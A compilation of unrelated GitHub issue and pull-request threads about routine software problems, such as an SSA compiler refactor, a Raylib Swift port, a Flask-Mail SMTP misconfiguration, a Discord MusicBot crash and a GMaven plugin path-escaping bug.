Add MakeArray instruction to the ssa refactor

Problem
Several recent issues (#1688, #1698) have been a result of ValueIds being nested inside Values (e.g. Value::Array). This necessitated a more-complex, recursive get_value/resolve function which must also now require a mutable context to insert any new arrays required. This necessitated more cloning which is otherwise unnecessary.
Happy Case
We could make a rule going forward that new nested value ids cannot appear without an instruction that introduced them first. This is for the benefit of passes which map instructions (and thus their value results) to new instructions in order. These passes would be able to continue looking instruction by instruction without needing to recursively peek into the values it references.
Current example:
v6 = call array_hash([v0, v1, v2, v3, v4])

New example:
v5 = make_array [v0, v1, v2, v3, v4]
v6 = call array_hash(v5)

To keep simplification on array instructions working, we will need to do one of:

When a make_array instruction is created, always call set_value on its result to set it to a Value::Array instead of the default Value::Instruction.
Update get_array_constant to also check for Value::Instructions which refer to a make_array instruction.

Alternatives Considered
No response
Additional Context
No response
Would you like to submit a PR for this Issue?
No
Support Needs
No response

@jfecher now that the SSA has matured further, what are your thoughts on this issue?

@kevaundray we haven't had an issue arise from this in a while so changing this may not fix any bugs but it's something we could explore to see if it cleans up the code any.

Okay I'll leave it open and we can review EOY as we'd have even more experience then

I'm inclined to try adding this again with the goal of removing Value::Array.
The main issue with Value::Array is that it is the only Value which itself contains nested ValueIds, and this necessitates special handling. Anywhere we map value ids for example, we must also check if the value they refer to is a Value::Array because if so we'll need to map its nested ids as well. This came up again in the mem2reg changes (https://github.com/noir-lang/noir/pull/2463) in which to handle arrays properly we have to recurse through all their elements to e.g. mark them used manually so that any references they refer to are not removed while the array is still present.

Reopening this issue since although there was no large code improvement in that unfinished PR, I think it still think it simplifies the mental model of SSA a bit to have no nested ValueIds.


Output types: ExternalAPI, ExternalTypes, and Makefile generation

With @aseemr and @nikswamy
Also includes:

Case change for type names generated by 3d: EVERPARSE_INPUT_STREAM_BASE instead of EverParseInputStreamBase
--(no_)emit_output_types_defs
--add_include to add a #include directive to all generated .c and .h files

FYI, the --cleanup option does not clean up the ExternalTypes.krml and ExternalAPI.krml files

I also see these krml warnings
Warning 24: EverParse3d.ErrorCode.is_error is marked [@CInline] and also covered by a -static-header krml option... the [@CInline] is redundant because -static-header generates code marked as static inline
Warning 24: EverParse3d.ErrorCode.is_success is marked [@CInline] and also covered by a -static-header krml option... the [@CInline] is redundant because -static-header generates code marked as static inline
Warning 24: EverParse3d.ErrorCode.set_validator_error_pos is marked [@CInline] and also covered by a -static-header krml option... the [@CInline] is redundant because -static-header generates code marked as static inline
Warning 24: EverParse3d.ErrorCode.get_validator_error_kind is marked [@CInline] and also covered by a -static-header krml option... the [@CInline] is redundant because -static-header generates code marked as static inline
Warning 24: EverParse3d.ErrorCode.check_constraint_ok is marked [@CInline] and also covered by a -static-header krml option... the [@CInline] is redundant because -static-header generates code marked as static inline
Warning 24: EverParse3d.Prelude.StaticHeader.get_bitfield8 is marked [@CInline] and also covered by a -static-header krml option... the [@CInline] is redundant because -static-header generates code marked as static inline


feat: create article options

Checklist:

[ ] I have read freeCodeCamp's contribution guidelines.
[ ] My pull request has a descriptive title (not a vague title like Update index.md)

Closes #XXXXX

This is now ready for review, I want you all to know my current plan.

finish up the article options (style) - this pr
seed the database with information
finish up the article options (logic)


Update to v4

Hello,
I've spent some time updating the package to a more recent commit of Raylib, at version 4.
There is a couple of commented functions because I'm not sure what's the new version of them.
I wanted to ask, do you have any automated process to do this or is all done manually?

Nice! This is is looks good. Nope, no automation; all by hand.
Raylib 4 had a lot of changes so it might take a little bit to review everything you've done.
Thanks for putting the time in! Doing it by hand is a pain, but the user experience ends up being way better imo.

I was looking at their parser.h and maybe that could be an improvement to generate this code. I tried to use it to add raygui support and unfortunately seems like the parser doesn't detect the functions 😂

As I wrote on Discord regarding this, I don't think changing original Raylib function names
Is a good idea:

There should be no reason to be changing the whole internal structure of Raylib! None of those re-named functions exists in the original Raylib cheatsheet either which will cause a lot of issues to many Raylib beginners on Swift either finding the right functions or be right out frustrated that the Cheatsheet that provides all the information on the website on what function does what does not work with Raylib on Swift.

Yeah, there is no automation that can make a package of the quality I'm aiming for. Swift is too different from C to be able to translate it automatically, and have it be pretty Swift code.
The raylib_swifty.h file contains some compiler attributes that help, but they still need to be added manually.
_RaylibC can be imported directly and is a purely automated Swift translation. But it's a terrible Swift experience. So I wrapped it and translated the bad translations by hand.


keep the input sequence is same as printing.

Now the first input barcode will appear last in the print position, need to correct this bug.

I'm not sure if this is working as you expect. In my test case, inputting the the four barcodes

AUTO123
83280
54994
abcdefg

results in the list

54994
AUTO123
83280
abcdefg

Hi,Mgobat,
I found this line:45 of scan.component.ts: const barcodes = file.split(/\r\n|\n/)
.reverse() /* Preserve order */
I don't think that's what we want. This line causes the barcodes in the file to be read in the opposite order as they are actually intended to be printed.
can we remove line 45? ‘.reverse()'
chenchen

@dongchch2016, fixed for the next release. Thank you.

OK. Thank you!
chenchen


General - Sometimes the code lines mentioned in error messages are misaligned

I've had this issue regularly but here is an example related to the issue I reported with the Anagram exercise. The error message indicated lines 59 and 97 respectively which didn't really make much sense but it made troubleshooting more difficult:

We received the following error when we ran your code:

./zcl_anagram.clas.abap[59, 9] - Incompatible types (check_syntax) [E]
./zcl_anagram.clas.abap[97, 13] - Incompatible types (check_syntax) [E]
abaplint: 2 issue(s) found

The actual error happened a few lines (7 and 10 respectively) above the indicated ones. Not sure, what's throwing it off, empty lines perhaps?

yea, its a problem, due to the downporting, hmm

thinking, if the downport is correct, then the line numbers should also be correct, as errors are then reported in the original code


(Almost) Full coverage of the YouTube Data v3 API

[x] Add Activities endpoints
#43

[x] Add ChannelBanners endpoints
#42

[x] Add Channels endpoints
#41

[x] Add ChannelSections endpoints
#40

[x] Add Comment endpoints
#39

[x] Add GuideCategories endpoints
#38

[x] Add i18nLanguages endpoints
#37

[x] Add i18nRegions endpoints
#36

[ ] Add Members endpoint (awaiting special permission by YouTube)
#94

[ ] Add MembersipsLevels endpoint (awaiting special permission by YouTube)
#95

[x] Add Captions endpoints
#103

[x] Add PlaylistItems endpoints
#35

[x] Add Playlists endpoints
#34

[x] Add Watermarks endpoints
#31

Hello, can you add order options on searchVideos function ?

Hello, can you add order option on searchVideos function ?

It only took me 2 years, but I did in fact add that feature @eric2788


Sync with apache/incubator-tvm 6/15/2020

Sync to match upstream apache/incubator-tvm on 6/152020.
Changes made on top of cherry-picks:

Small patch to TRT integration to account for changes in strided_slice, reshape
Increased CI container stack limit to fix failing TFLite tests test_forward_qnn_mobilenet_v2_net and test_forward_mediapipe_hand_landmark (overflow in eliminate common subexpr).
Skip test_tensor_array_write_read, test_tensor_array_concat, test_tensor_array_scatter, test_tensor_array_gather, test_tensor_array_split when TF version is > 1.15.
Disable tensorflow.test_forward_sdd because stack limit of 100mb is exceeded by WellFormedChecker
Removed all module.is_empty() code - we added this to neo-ai/tvm for nnvm-trt integration which is no longer needed.

BTW, please remember to enable the doc tests when CI turns green

@zhiics CI is passing now - please see description for list of modifications I had to make. I have also reenabled the sphinx task for docs.


Fix NPE when GraphQL argument is a list with a null element

In case of collection-argument with nullable items.
Passing null items in collection-argument causes NPE in org.springframework.graphql.data.GraphQlArgumentBinder#createCollection: Cannot invoke "Object.getClass()" because "rawValue" is null.
Test case:
Schema:
type Query {
    theData(idList: [ID]!): [String]!
}

Query:
{
  theData(idList: ["123", null, "234"])
}

@turboezh Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.

@turboezh Thank you for signing the Contributor License Agreement!

Hi, @rstoyanchev. This request was made based on the main branch and I guess this is not a right way. I've made a new one (#486) based on 1.0.x.

Thanks. Keep in mind that we do rebase the PR onto 1.0.x or on top of the latest in main, depending on the target milestones, so typically no need to be concerned with this.


feat(Deck): add feature online plugins filter flag

Description
Add doc for the feature online plugins filter flag for Deck
Related to PR: https://github.com/Kong/deck/pull/1458

Testing instructions
Preview link:
Checklist

[ ] Review label added
[ ] Conditional version tags added, if applicable.

@lena-larionova  the deck version with this feature has been release this morning.
https://github.com/Kong/deck/releases
Can you please review and push this PR?
Thanks


Fixing anchor selection

Better anchor detection in HTMLEditorField

bump @kinglozzer @tractorcow

Forgot about this PR! Good work :+1:

Odd, this test fails when I merge up from 3.3 to 3.... need to debug.

I fixed the issue with SS_HTTPRequest, and got a new bug.

I've had to make the following manual merge to fix this for merge-up.
diff --git a/forms/HtmlEditorField.php b/forms/HtmlEditorField.php
index 2d2171a..e088b84 100644
--- a/forms/HtmlEditorField.php
+++ b/forms/HtmlEditorField.php
@@ -582,11 +582,13 @@ class HtmlEditorField_Toolbar extends RequestHandler {

 			// Similar to the regex found in HtmlEditorField.js / getAnchors method.
 			if (preg_match_all(
-				"/\s+(name|id)\s*=\s*([\"'])([^\\2\s>]*?)\\2|\s+(name|id)\s*=\s*([^\"']+)[\s +>]/im",
+				"/\\s+(name|id)\\s*=\\s*([\"'])([^\\2\\s>]*?)\\2|\\s+(name|id)\\s*=\\s*([^\"']+)[\\s +>]/im",
 				$page->Content,
 				$matches
 			)) {
-				$anchors = array_filter(array_merge($matches[3], $matches[5]));
+				$anchors = array_values(array_unique(array_filter(
+					array_merge($matches[3], $matches[5]))
+				));
 			}

 		} else {
diff --git a/tests/forms/HtmlEditorFieldTest.php b/tests/forms/HtmlEditorFieldTest.php
index 067e712..726666c 100644
--- a/tests/forms/HtmlEditorFieldTest.php
+++ b/tests/forms/HtmlEditorFieldTest.php
@@ -133,8 +133,7 @@ class HtmlEditorFieldTest extends FunctionalTest {
 			'bar',
 			'baz',
 			'bam',
-			"some'id",
-			'bar',
+			"some'id",
 		);
 		$page = new Page();
 		$page->Title = 'Test';
@@ -142,15 +141,15 @@ class HtmlEditorFieldTest extends FunctionalTest {
 		$page->write();
 		$this->useDraftSite(true);

-		$controller = new Controller();
-		$controller->setRequest(new SS_HTTPRequest('GET', '/', array(
+		$request = new SS_HTTPRequest('GET', '/', array(
 			'PageID' => $page->ID,
-		)));
-		$controller->init();
+		));

-		$toolBar = new HtmlEditorField_Toolbar($controller, 'test');
+		$toolBar = new HtmlEditorField_Toolbar(new Controller(), 'test');
+		$toolBar->setRequest($request);

-		$this->assertEquals(json_encode($expected), $toolBar->getanchors());
+		$results = json_decode($toolBar->getanchors(), true);
+		$this->assertEquals($expected, $results);
 	}

 	public function testHtmlEditorFieldFileLocal() {

https://github.com/silverstripe/silverstripe-framework/commit/8e4db95f7297f4621413609fd0ff5bbe0385bf37

wow - thanks @tractorcow that seems kind of crazy is there some new syntax problems that we seemed to have missed?

I have no idea... maybe something that changed since you created the PR in Nov of last year, but wasn't picked up until it was merged?

Weird, the Travis build for the PR was run just before I hit merge and that passed :confused:


Web Interface?

Hi folks,
Just wanted to say amazing work, been using this project for a few years now for CTF/VR work.
The fact you guys have open sourced such an awesome product is really good to see. Excited to finally have a mature open source decompiler. Hopefully someone can give the other paid solutions a run for their money.
My question is a little odd, the UI you guys use on retdec.com will that be open sourced? I've talked to my team about it and they're very interested in running it on one of our large servers and letting researchers connect to it and upload samples. The retdec.com UI was slick as hell. Was just wondering if you have any intention of open sourcing that?
Cheers :-)

Hi! Thank you for your kind words. We are very glad that you find the decompiler useful.
Currently, we do not plan to open source the web interface or the online decompilation service. Maybe in the future ;-).


installation guide for NVHPC SDK

Could you please provide an install guide for NVHPC SDK users ?  Thanks.
fatal error: cublas_v2.h: No such file or directory
fatal error: cusparse.h: No such file or directory

Could you provide more of the build log? These errors suggest that the compiler can't find some CUDA headers, so that makes me think that CUDA was not properly installed or CMake is not finding the right paths. As a first step, it may be helpful to add nvcc to your PATH and to set the CUDA_PATH environment variable.
Further guidance also depends on your use-case. If you are trying to use TE to accelerate a PyTorch workflow, you should first try getting PyTorch working by itself on your system. If you're trying to use TE's C API, I've been able to build TE in the nvcr.io/nvidia/cuda:12.0.0-devel-ubuntu22.04 container with:
apt-get update
apt-get install -y git python3.9 pip ninja-build cudnn9-cuda-12
pip install cmake==3.21.0
pip install . -v

See the unit test for a minimal TE build.


Conflict in gradle

While importing this project , i m getting a following error at the time of compilation:
UNEXPECTED TOP-LEVEL EXCEPTION:
com.android.dex.DexException: Multiple dex files define Lorg/joda/time/Chronology;
There is a conflict between JodaAndroidTime & joda-time.
compile 'net.danlew:android.joda:2.9.0'
compile 'joda-time:joda-time:2.8.2' in gradle
I m using compile 'net.danlew:android.joda:2.9.0' for
//Initializing JodaTime
JodaTimeAndroid.init(mContext);

The joda file used in the main library is compile 'net.danlew:android.joda:2.8.1' if you check https://github.com/rameshvoltella/RWeekCalendar/blob/master/RamzCalSample/ramzcalender/build.gradle
link you can find,  this is the problem for the conflict, i dont think you need to add joda lib in your main gridle file again


Declare ecr_repos data blocks outside of stack module

@alicefuzier this looks good - you might want to add a little bit more in the description about why this.


Refactor tests

Grouped tests under the same describes. See changes to output in Travis.
Note that most of changes are space changes (decreased indentation). I isolated them to the second commit while the first commit is only one worth to review.

There is one failing test now

@sdepold All tests passing.


Errors when using open SMTP relays

Are open SMTP relays not supported in Flask-Mail?
I've looked at #93 and #98 as they seem related, but those issues' resolutions don't fix my problem. I'm using an internal open SMTP relay to send mail, which works fine using vanilla smtplib, but as soon as I try to duplicate the functional send behavior in a Flask-Mail based app (using @tlynn's fork to unmask the actual error), it fails with:
send: u'mail<EMAIL_ADDRESS>size=287\r\n'
reply: '530 5.7.1 Client was not authenticated\r\n'
reply: retcode (530); Msg: 5.7.1 Client was not authenticated
send: 'rset\r\n'
<IP_ADDRESS> - - [28/May/2015 12:30:21] "GET / HTTP/1.1" 500 -
Traceback (most recent call last):
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1836, in __call__
    return self.wsgi_app(environ, start_response)
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1820, in wsgi_app
    response = self.make_response(self.handle_exception(e))
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1403, in handle_exception
    reraise(exc_type, exc_value, tb)
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1817, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1477, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1381, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1475, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/archen/.envs/test_mail/lib/python2.7/site-packages/flask/app.py", line 1461, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/archen/flask_mail_test.py", line 26, in index
    mail.send(msg)
  File "/home/archen/.envs/test_mail/src/flask-mail/flask_mail.py", line 507, in send
    message.send(connection)
  File "/home/archen/.envs/test_mail/src/flask-mail/flask_mail.py", line 442, in send
    connection.send(self)
  File "/home/archen/.envs/test_mail/src/flask-mail/flask_mail.py", line 192, in send
    message.rcpt_options)
  File "/usr/lib/python2.7/smtplib.py", line 723, in sendmail
    self.rset()
  File "/usr/lib/python2.7/smtplib.py", line 462, in rset
    return self.docmd("rset")
  File "/usr/lib/python2.7/smtplib.py", line 387, in docmd
    return self.getreply()
  File "/usr/lib/python2.7/smtplib.py", line 363, in getreply
    raise SMTPServerDisconnected("Connection unexpectedly closed")
SMTPServerDisconnected: Connection unexpectedly closed

This is what the simple testing app has in it:
from flask import Flask
from flask.ext.mail import Mail, Message

app = Flask(__name__)

app.config.update(
    DEBUG=True,
    # EMAIL SETTINGS
    MAIL_SERVER='smtp.mydomain.com',
    MAIL_PORT=465,
    MAIL_USE_TLS=True,
)

mail = Mail(app)

@app.route("/")
def index():
    msg = Message(
        'Hello',
<EMAIL_ADDRESS><EMAIL_ADDRESS>    msg.body = "This is the email body"
    mail.send(msg)
    return "Sent"

if __name__ == "__main__":
    app.run()

The working code for smtplib is:
import smtplib
import sys

if len(sys.argv) != 5:
    print "You must call me like:"
    print "   mailme from to subject msgfile"
    sys.exit()

fromaddr = sys.argv[1]
toaddr = sys.argv[2]
subject = sys.argv[3]
msgfile = sys.argv[4]

try:
    f = open(msgfile)
    msg = f.read()
except:
    print "Invalid Message File: " + msgfile
    sys.exit()

m = "From: %s\r\nTo: %s\r\nSubject: %s\r\nX-Mailer: My-Mail\r\n\r\n" \
    % (fromaddr, toaddr, subject)

smtp = smtplib.SMTP()
smtp.connect('smtp.mydomain.com')
smtp.sendmail(fromaddr, toaddr, m + msg)
smtp.close()

called with python smtplib_test.py<EMAIL_ADDRESS><EMAIL_ADDRESS>test test.msg where test.msg is a file containing the text test

well, further investigation and tinkering with the code shows that the issue is in starttls/ehlo, not directly related to the send flow. Will update if I get closer to a solution.

welp... total PEBKAC. notice in my working test I was neither using the same port nor starttls. Changing the code to:
smtp = smtplib.SMTP()
smtp.connect('smtp.mydomain.com', '465')
smtp.starttls()
smtp.sendmail(fromaddr, toaddr, m + msg)
smtp.close()

nets me the same error. Adjusted my config to match the correct port settings, and everything works as expected.


Regular expression input is not escaped when pressing backspace

When the selected item from the suggestions contains a reserved character, e.g. [ and backspace is pressed, the following error is thrown in updateHint(): unterminated character class
select item from list

press backspace

Hello @speich , thank you for reporting this bug. It has been corrected in v4.3.0  (Ref)


keyboard shortcut for "narrow to mentions"

I can narrow to most other things by using the keyboard, cycling through to check my unread messages, a shortcut to narrow to @-mentions would be great.
Thanks!

Suggestions for what key would make sense for this?

As "M" is being used for muting a topic, it can be confusing. I think a better option is to use "ctrl/cmd + m".

@zulipbot claim


Bot is not launching

Please tick all applicable boxes.

[/] I am using Python 3.5.3 or higher (run python --version on the command line)
[/] I have followed the official guides to install the bot for my system
[/] I have updated my dependencies to the latest version using the appropriate update script

Which version are you using?

[/] The latest master version (release-260419)
[ ] The latest review version

What type of issue are you creating?

[/] Bug
[ ] Feature request
[ ] Question

Description of issue
I try and launch the musicbot using the run.bat command, and the bot comes online for a split second, before crashing. This is what it outputs to the console:
[INFO] launcher: Starting sanity checks
[INFO] launcher: Checking for Python 3.5+
[INFO] launcher: Checking console encoding
[INFO] launcher: Setting console encoding to UTF-8
[INFO] launcher: Ensuring we're in the right environment
[INFO] launcher: Adding local bins/ folder to path
[INFO] launcher: Required checks passed.
[INFO] launcher: Optional checks passed.
[INFO] launcher: Moving old musicbot log
Starting MusicBot release-260819-5-gc87dc05
Loaded autoplaylist with 32 entries
[ERROR] launcher: Error starting bot
Traceback (most recent call last):
File "run.py", line 373, in main
m.run()
File "C:\Users\walal\OneDrive\Documents\MusicBot\musicbot\bot.py", line 902, in run
self.loop.run_until_complete(self.start(*self.config.auth))
File "C:\Users\walal\AppData\Local\Programs\Python\Python37-32\lib\asyncio\base_events.py", line 568, in run_until_complete
return future.result()
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\client.py", line 543, in start
await self.connect(reconnect=reconnect)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\client.py", line 457, in connect
await self._connect()
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\client.py", line 421, in _connect
await self.ws.poll_event()
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\gateway.py", line 469, in poll_event
await self.received_message(msg)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\gateway.py", line 423, in received_message
func(data)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\state.py", line 663, in parse_guild_create
guild = self._get_create_guild(data)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\state.py", line 638, in _get_create_guild
guild._from_data(data)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\guild.py", line 391, in _from_data
self._sync(guild)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\guild.py", line 420, in _sync
self._add_channel(VoiceChannel(guild=self, data=c, state=self._state))
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\channel.py", line 504, in init
self._update(guild, data)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\channel.py", line 535, in _update
self._fill_overwrites(data)
File "C:\Users\walal\AppData\Roaming\Python\Python37\site-packages\discord\abc.py", line 271, in _fill_overwrites
self._overwrites.append(_Overwrites(id=overridden_id, **overridden))
TypeError: new() got an unexpected keyword argument 'deny_new'
[INFO] launcher: All done.
Steps to reproduce

Install and configure bot
Execute run.bat from windows explorer or command line

Log file
Please attach your MusicBot log file (located at logs/musicbot.log) to this issue. You can do so by dragging and dropping the file here. If you do not include your log file, you WILL be asked to provide one.
musicbot.log

Had a this exact same issue
I fixed it by updating discord.py in the requirements.txt
discord.py[voice]==1.2.5
to
discord.py[voice]==1.5.1
then simply run update.bat
make sure to say no at the modified source files
and the continue the update. should work right after.

Same here.

git checkout review fixed in review

git checkout review fixed in review


Error codes numbers are inaccurate

When you are declaring multiple enums unders #[error_code] attribute, error codes numbers are quire inaccurate.
For example, I have these errors in my program:
#[error_code]
pub enum FirstCaseErrors {
    #[msg("First")]
    First
}

#[error_code]
pub enum SecondCaseErrors {
    #[msg("Second")]
    Second
}

In IDL only errors from FirstCaseErrors will be generated. IDL will ignore SecondCaseErrors (however, it will still be presented in the list of types, just "msg" is missing).
Moreover, if we will receive these errors, their codes will be the same. So if transaction panics with FirstCaseErrors::First, anchor error object will display error code number 6000. If it panics with SecondCaseErrors::Second, error code number will be also 6000. Which is a bit annoying, especially if we are wishing to parse errors by this numeric code.

The attribute #[error_code] only supports a single usage of the attribute.
Just going to close this because i'm not clear that it's actually an error unless someone wants to add support for multiple uses of it. Which might require quite extensive changes.


Make the list of opened projects as persistent

Remember previously opened projects after ADS restart.

This should be handled by workspace integration automatically.

Persisted as part of workspace. Closing this one.


Unable to load project requiring Maven 4.0.0-beta-5

Trying to load mvnd with the following branch (with Maven 4.x poms)
https://github.com/apache/maven-mvnd/pull/1175
leads to the following error:

Sorry... I cant reproduce it on my workstation OS Ubuntu
Can your please send more logs? Click on the mvnd:failed node and there will be a full maven log. send it.

For me it looks like this:
https://github.com/user-attachments/assets/daa46197-64ac-4687-86cf-03cb85e93159

That gives the following:
/Users/gnodet/.sdkman/candidates/java/21.0.4-tem/bin/java "-Dmaven.ext.class.path=/Users/gnodet/Library/Application Support/JetBrains/IntelliJIdea2025.1/plugins/gmaven/lib/maven-ext-event-handler-1.0-SNAPSHOT.jar" -Dgmaven.maven.home=/Users/gnodet/.m2/wrapper/dists/apache-maven-4.0.0-beta-5-bin/4mdhiqevrrl6utdgupl97k3b17/apache-maven-4.0.0-beta-5 -Dgmaven.plugin.annotation.paths.maven-compiler-plugin=annotationProcessorPaths -Dgmaven.plugins=org.apache.maven.plugins:maven-compiler-plugin;org.codehaus.mojo:build-helper-maven-plugin;dev.aspectj:aspectj-maven-plugin;org.codehaus.mojo:aspectj-maven-plugin;org.eclipse.tycho:tycho-compiler-plugin;org.codehaus.gmavenplus:gmavenplus-plugin;org.codehaus.gmaven:groovy-maven-plugin -Dgmaven.resolvedArtifactIds=aspectj-maven-plugin,aspectj-maven-plugin -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Dsun.stdout.encoding=UTF-8 -Dsun.stderr.encoding=UTF-8 -classpath "/Users/gnodet/Library/Application Support/JetBrains/IntelliJIdea2025.1/plugins/gmaven/lib/server-1.0-SNAPSHOT.jar:/Users/gnodet/Library/Application Support/JetBrains/IntelliJIdea2025.1/plugins/gmaven/lib/server-api-1.0-SNAPSHOT.jar:/Users/gnodet/.m2/wrapper/dists/apache-maven-4.0.0-beta-5-bin/4mdhiqevrrl6utdgupl97k3b17/apache-maven-4.0.0-beta-5/boot/plexus-classworlds-2.8.0.jar:/Applications/IntelliJ IDEA 2025.1 EAP.app/Contents/lib/util_rt.jar:/Applications/IntelliJ IDEA 2025.1 EAP.app/Contents/plugins/maven-model/lib/maven-model.jar" ru.rzn.gmyasoedov.gmaven.server.RemoteGMavenServer
Port/ServicesPort/ID: 61254/64730/GMavenServerImpl81d89d9e

mvn ru.rzn.gmyasoedov:model-reader:1.2.3:resolve

It looks like you have an old version of the plugin. What version of the IDEA and version GMaven do you have?

Are you sure you've been using the branch I pointed at ?  Because it also works if I use mvnd master branch.
I'm using latest IntelliJ IDEA EAP (Build #IU-251.2067, built on October 25, 2024) and GMaven 233.30

Got it. Thank you. I'll fix it today.

Try 242.3.1 version from beta  https://plugins.jetbrains.com/plugin/22370-gmaven/versions/beta/630492?noRedirect=true
Updates in the main IDEA marketplace channel take several days

Sorry.  I was in a hurry and didn't check all the tests.
Try 242.3.2 version from beta https://plugins.jetbrains.com/plugin/22370-gmaven/versions/beta/630539?noRedirect=true

Same error:
mvnw -f /Users/gnodet/work/git/mvnd ru.rzn.gmyasoedov:maven-model-reader-plugin:0.2:resolve

/Users/gnodet/.m2/wrapper/dists/apache-maven-3.9.9-bin/4nf9hui3q3djbarqar9g711ggc/apache-maven-3.9.9/bin/mvn "-Dmaven.ext.class.path=\"/Users/gnodet/Library/Application Support/JetBrains/IntelliJIdea2025.1/plugins/gmaven/lib/gmaven-execution-event-spy-0.1.jar\"" -DresultAsTree=true -DresultFilePath=/Users/gnodet/work/git/mvnd/target/.gmaven.pom.json -DprocessingPluginGAIds=org.apache.maven.plugins:maven-compiler-plugin,org.codehaus.mojo:build-helper-maven-plugin,dev.aspectj:aspectj-maven-plugin,org.codehaus.mojo:aspectj-maven-plugin,org.eclipse.tycho:tycho-compiler-plugin,org.codehaus.gmavenplus:gmavenplus-plugin,org.codehaus.gmaven:groovy-maven-plugin -DresolvedPluginGAIds=dev.aspectj:aspectj-maven-plugin,org.codehaus.mojo:aspectj-maven-plugin -f /Users/gnodet/work/git/mvnd ru.rzn.gmyasoedov:maven-model-reader-plugin:0.2:resolve
[INFO] Scanning for projects...
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Build Order:
[INFO]
[INFO] Maven Daemon - Parent                                              [pom]
[INFO] Maven Daemon - Documentation Maven Plugin                 [maven-plugin]
[INFO] Maven Daemon - Native Library                                      [jar]
[INFO] Maven Daemon - Agent                                               [jar]
[INFO] Maven Daemon - Helper Agent                                        [jar]
[INFO] Maven Daemon - Common                                              [jar]
[INFO] Maven Daemon - Logging                                             [jar]
[INFO] Maven Daemon - Client                                              [jar]
[INFO] Maven Daemon - Daemon                                              [jar]
[INFO] Maven Daemon - Distribution                                        [pom]
[INFO] Maven Daemon - Integration Tests                                   [jar]
[WARNING] The POM for ru.rzn.gmyasoedov:maven-model-reader-plugin:jar:0.2 is missing, no dependency information available
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary for Maven Daemon - Parent 2.0.0-beta-2-SNAPSHOT:
[INFO]
[INFO] Maven Daemon - Parent .............................. SKIPPED
[INFO] Maven Daemon - Documentation Maven Plugin .......... SKIPPED
[INFO] Maven Daemon - Native Library ...................... SKIPPED
[INFO] Maven Daemon - Agent ............................... SKIPPED
[INFO] Maven Daemon - Helper Agent ........................ SKIPPED
[INFO] Maven Daemon - Common .............................. SKIPPED
[INFO] Maven Daemon - Logging ............................. SKIPPED
[INFO] Maven Daemon - Client .............................. SKIPPED
[INFO] Maven Daemon - Daemon .............................. SKIPPED
[INFO] Maven Daemon - Distribution ........................ SKIPPED
[INFO] Maven Daemon - Integration Tests ................... SKIPPED
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  0.134 s
[INFO] Finished at: 2024-11-08T14:49:48+01:00
[INFO] ------------------------------------------------------------------------
[ERROR] Plugin ru.rzn.gmyasoedov:maven-model-reader-plugin:0.2 or one of its dependencies could not be resolved:
[ERROR] 	ru.rzn.gmyasoedov:maven-model-reader-plugin:jar:0.2 was not found in https://repo.maven.apache.org/maven2/ during a previous attempt. This failure was cached in the local repository and resolution is not reattempted until the update interval of central has elapsed or updates are forced
[ERROR] -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/PluginResolutionException

Installing the plugin manually in the repo did work.
I think initially, gmaven was trying to use maven wrapper 3.9.9 instead of the version configured in .mvn/wrapper, but that went away when switching between maven / wrapper / daemon...

Thank you for taking the time to help me find the problem with my plugin.
Problem in first run deal with: "mvn install:install-file" to local repo.

I'll try to reproduce this locally.
This is potentially a bottleneck. Best solution is to install my maven-plugin to maven central. I will work on it in with issue.

I will be glad if my plugin helps you in your work.

I reproduced this locally. The problem is the space is not escaped correctly.
"-Dmaven.ext.class.path=\"/IDEA Path/lib/gmaven-execution-event-spy-0.1.jar\""
Fixed in 242.4 version https://plugins.jetbrains.com/plugin/22370-gmaven/versions/stable/630949?noRedirect=true
Created issue for removed this logic "mvn install:install-file" and deploy my maven-plugin to maven central and migrate on it.

fixed since 242.4


Screen Locking when image downloading makes it impossible to download the image again

if you lock the screen when the image is getting downloaded, the error message what you get is 'kCFURLErrorNetworkConnectionLost'. Since this error code is not handled, the url gets added to the failedURLs list and hence the image never gets downloaded.
Error Domain=NSURLErrorDomain Code=-1005 "The network connection was lost." UserInfo=0x14510760 {NSErrorFailingURLStringKey=https://s3.amazonaws.com/xxxxxxxxxxx/qqq.jpg, _kCFStreamErrorCodeKey=57, NSErrorFailingURLKey=https://s3.amazonaws.com/xxxxxxxxxxx/qqq.jpg, NSLocalizedDescription=The network connection was lost., _kCFStreamErrorDomainKey=1, NSUnderlyingError=0x1466a6e0 "The network connection was lost."}

@praveencastelino
i used the demo project and managed to replicate the issue you describe.
i got another error because i enabled airplane mode before i begin to download the image
